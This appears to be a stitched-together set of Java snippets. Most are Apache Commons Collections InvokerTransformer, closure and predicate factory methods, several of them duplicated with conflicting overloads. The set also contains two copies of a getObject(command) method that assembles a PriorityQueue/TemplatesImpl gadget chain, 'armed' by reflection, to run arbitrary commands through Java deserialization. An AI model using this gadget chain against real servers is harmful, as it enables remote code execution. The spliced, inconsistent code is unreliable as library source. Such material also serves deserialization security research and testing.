/** * Gets an instance of this transformer calling a specific method with no arguments. * * @param <I> the input type * @param <O> the output type * @param methodName the method name to call * @return an invoker transformer * @throws NullPointerException if methodName is null * @since 3.1 */ public static <I, O> Transformer<I, O> invokerTransformer(final String methodName) { if (methodName == null) { throw new NullPointerException("The method to invoke must not be null"); } return new InvokerTransformer<>(methodName); }
/** * Gets a Transformer that invokes a method on the input object. * The method parameters are specified. If the input object is {@code null}, * {@code null} is returned. * * @param <I> the input type * @param <O> the output type * @param methodName the name of the method * @param paramTypes the parameter types * @param args the arguments * @return the transformer * @throws NullPointerException if the method name is null * @throws IllegalArgumentException if the paramTypes and args don't match * @see InvokerTransformer */ public static <I, O> Transformer<I, O> invokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) { return InvokerTransformer.invokerTransformer(methodName, paramTypes, args); }
/** * Gets an instance of this transformer calling a specific method with specific values. * * @param <I> the input type * @param <O> the output type * @param methodName the method name to call * @param paramTypes the parameter types of the method * @param args the arguments to pass to the method * @return an invoker transformer * @throws NullPointerException if methodName is null * @throws IllegalArgumentException if paramTypes does not match args */ public static <I, O> Transformer<I, O> invokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) { if (methodName == null) { throw new NullPointerException("The method to invoke must not be null"); } if (((paramTypes == null) && (args != null)) || ((paramTypes != null) && (args == null)) || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) { throw new IllegalArgumentException("The parameter types must match the arguments"); } if (paramTypes == null || paramTypes.length == 0) { return new InvokerTransformer<>(methodName); } return new InvokerTransformer<>(methodName, paramTypes, args); }
/** * Gets a Transformer that invokes a method on the input object. * The method must have no parameters. If the input object is {@code null}, * {@code null} is returned. * * <p> * For example, <code>TransformerUtils.invokerTransformer("getName");</code> * will call the <code>getName</code> method on the input object to * determine the transformer result. * </p> * * @param <I> the input type * @param <O> the output type * @param methodName the method name to call on the input object, may not be null * @return the transformer * @throws NullPointerException if the methodName is null. * @see InvokerTransformer */ public static <I, O> Transformer<I, O> invokerTransformer(final String methodName) { return InvokerTransformer.invokerTransformer(methodName, null, null); }
public Queue<Object> getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1); // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1; return queue; }
/** * Creates a Closure that will invoke a specific method on the closure's * input object by reflection. * * @see org.apache.commons.collections4.functors.InvokerTransformer * @see org.apache.commons.collections4.functors.TransformerClosure * * @param <E> the type that the closure acts on * @param methodName the name of the method * @return the <code>invoker</code> closure * @throws NullPointerException if the method name is null */ public static <E> Closure<E> invokerClosure(final String methodName) { // reuse transformer as it has caching - this is lazy really, should have inner class here return asClosure(InvokerTransformer.<E, Object>invokerTransformer(methodName)); }
public Queue<Object> getObject(final String command) throws Exception { final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1); // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1; return queue; }
/** * Creates a Closure that will invoke a specific method on the closure's * input object by reflection. * * @see org.apache.commons.collections4.functors.InvokerTransformer * @see org.apache.commons.collections4.functors.TransformerClosure * * @param <E> the type that the closure acts on * @param methodName the name of the method * @param paramTypes the parameter types * @param args the arguments * @return the <code>invoker</code> closure * @throws NullPointerException if the method name is null * @throws IllegalArgumentException if the paramTypes and args don't match */ public static <E> Closure<E> invokerClosure(final String methodName, final Class<?>[] paramTypes, final Object[] args) { // reuse transformer as it has caching - this is lazy really, should have inner class here return asClosure(InvokerTransformer.<E, Object>invokerTransformer(methodName, paramTypes, args)); }
/** * Creates a Predicate that invokes a method on the input object. * The method must return either a boolean or a non-null Boolean, * and have no parameters. If the input object is null, a * PredicateException is thrown. * <p> * For example, <code>PredicateUtils.invokerPredicate("isEmpty");</code> * will call the <code>isEmpty</code> method on the input object to * determine the predicate result. * * @param <T> the type that the predicate queries * @param methodName the method name to call on the input object, may not be null * @return the predicate * @throws NullPointerException if the methodName is null. * @see InvokerTransformer * @see TransformerPredicate */ public static <T> Predicate<T> invokerPredicate(final String methodName) { // reuse transformer as it has caching - this is lazy really, should have inner class here return asPredicate(InvokerTransformer.<Object, Boolean>invokerTransformer(methodName)); }
/** * Creates a Predicate that invokes a method on the input object. * The method must return either a boolean or a non-null Boolean, * and have no parameters. If the input object is null, a * PredicateException is thrown. * <p> * For example, <code>PredicateUtils.invokerPredicate("isEmpty");</code> * will call the <code>isEmpty</code> method on the input object to * determine the predicate result. * * @param <T> the type that the predicate queries * @param methodName the method name to call on the input object, may not be null * @param paramTypes the parameter types * @param args the arguments * @return the predicate * @throws NullPointerException if the method name is null * @throws IllegalArgumentException if the paramTypes and args don't match * @see InvokerTransformer * @see TransformerPredicate */ public static <T> Predicate<T> invokerPredicate(final String methodName, final Class<?>[] paramTypes, final Object[] args) { // reuse transformer as it has caching - this is lazy really, should have inner class here return asPredicate(InvokerTransformer.<Object, Boolean>invokerTransformer(methodName, paramTypes, args)); }